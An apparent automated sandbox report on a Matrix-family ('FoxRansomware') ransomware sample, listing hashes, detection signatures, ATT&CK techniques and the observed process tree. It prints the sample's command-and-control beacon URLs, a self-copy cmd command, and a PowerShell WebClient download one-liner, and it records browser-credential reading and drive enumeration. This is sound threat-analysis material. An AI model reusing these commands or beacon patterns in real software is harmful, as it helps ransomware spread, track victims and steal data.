matrix | 016061f330faaeffdd84628f613a719a2f617c8145909d047b5721429ee5b451

Analysis

max time kernel
86s
max time network
155s
platform
windows10-2004_x64
resource
win10v2004-en-20220113
submitted
01-02-2022 08:39

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General

Target

FoxRansomware/42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
Size

1.2MB
MD5

268360527625d09e747d9f7ab1f84da5
SHA1

09772eb89c9743d3a6d7b2709c76e9740aa4c4b1
SHA256

42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620
SHA512

07fba0c06040fe4ef5f812a52d639bdea6cbe5bf7ff4560403ad12955e6b1ff2b4615361ac4533696a6c5e12d36fb2d2e0df3da2927f6b45f154f0a4e83315e1

Score

10^/10

matrix ransomware spyware stealer suricata

Malware Config

Extracted

Language

ps1

Deobfuscated

URLs

ps1.dropper

http://myexternalip.com/raw

Signatures

Matrix Ransomware 3 IoCs

Targeted ransomware with information collection and encryption functionality.

ransomware matrix

Processes:

description	flow	ioc
HTTP URL	14	http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=JDQPXOPR\|Admin&sid=WjyLjWbOUPch9fps&phase=START
HTTP URL	146	http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=JDQPXOPR\|Admin&sid=WjyLjWbOUPch9fps&phase=[ALL]182509F72CBBD5DE
HTTP URL	155	http://fredstat.000webhostapp.com/addrecord.php?apikey=fox_api_key&compuser=JDQPXOPR\|Admin&sid=WjyLjWbOUPch9fps&phase=182509F72CBBD5DE\|3594\|3GB

suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
suricata: ET MALWARE MSIL/Matrix Ransomware CnC Activity
suricata
Executes dropped EXE 1 IoCs

Processes:

NWORjS7T.exe

pid process

2008 NWORjS7T.exe
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081

pid	process
2008	NWORjS7T.exe

Enumerates connected drives 3 TTPs 22 IoCs

Attempts to read the root path of hard drives other than the default C: drive.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe

description	ioc	process
File opened (read-only)	\??\G:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\V:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\Q:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\K:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\J:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\I:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\H:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\Y:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\T:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\P:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\O:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\L:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\W:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\U:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\S:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\N:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\E:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\Z:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\X:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\R:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\M:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
File opened (read-only)	\??\F:	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe

Suspicious use of WriteProcessMemory 12 IoCs

Processes:

42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.execmd.exe

description	pid	process	target process
PID 1336 wrote to memory of 2384	1336	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 1336 wrote to memory of 2384	1336	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 1336 wrote to memory of 2384	1336	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 1336 wrote to memory of 2008	1336	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	NWORjS7T.exe
PID 1336 wrote to memory of 2008	1336	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	NWORjS7T.exe
PID 1336 wrote to memory of 2008	1336	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	NWORjS7T.exe
PID 1336 wrote to memory of 2944	1336	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 1336 wrote to memory of 2944	1336	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 1336 wrote to memory of 2944	1336	42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe	cmd.exe
PID 2944 wrote to memory of 2428	2944	cmd.exe	powershell.exe
PID 2944 wrote to memory of 2428	2944	cmd.exe	powershell.exe
PID 2944 wrote to memory of 2428	2944	cmd.exe	powershell.exe

C:\Users\Admin\AppData\Local\Temp\FoxRansomware\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe
"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe"
1⤵
- Enumerates connected drives
- Suspicious use of WriteProcessMemory
PID:1336
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C copy /V /Y "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620.exe" "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWORjS7T.exe"
  2⤵
  PID:2384
- C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWORjS7T.exe
  "C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWORjS7T.exe" -n
  2⤵
  - Executes dropped EXE
  PID:2008
- C:\Windows\SysWOW64\cmd.exe
  "C:\Windows\system32\cmd.exe" /C powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')">"C:\Users\Admin\AppData\Local\Temp\FoxRansomware\5pzBMSvj.txt"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2944
- - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
    powershell "$webClient = New-Object -TypeName System.Net.WebClient; $webClient.DownloadString('http://myexternalip.com/raw')"
    3⤵
    PID:2428

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials in Files

T1081

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWORjS7T.exe

MD5
268360527625d09e747d9f7ab1f84da5

SHA1
09772eb89c9743d3a6d7b2709c76e9740aa4c4b1

SHA256
42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620

SHA512
07fba0c06040fe4ef5f812a52d639bdea6cbe5bf7ff4560403ad12955e6b1ff2b4615361ac4533696a6c5e12d36fb2d2e0df3da2927f6b45f154f0a4e83315e1

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C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWORjS7T.exe

MD5
268360527625d09e747d9f7ab1f84da5

SHA1
09772eb89c9743d3a6d7b2709c76e9740aa4c4b1

SHA256
42f07bec4edcba04adac1d944f5ec131628565da831fccbfcd42292ea520a620

SHA512
07fba0c06040fe4ef5f812a52d639bdea6cbe5bf7ff4560403ad12955e6b1ff2b4615361ac4533696a6c5e12d36fb2d2e0df3da2927f6b45f154f0a4e83315e1

Download Submit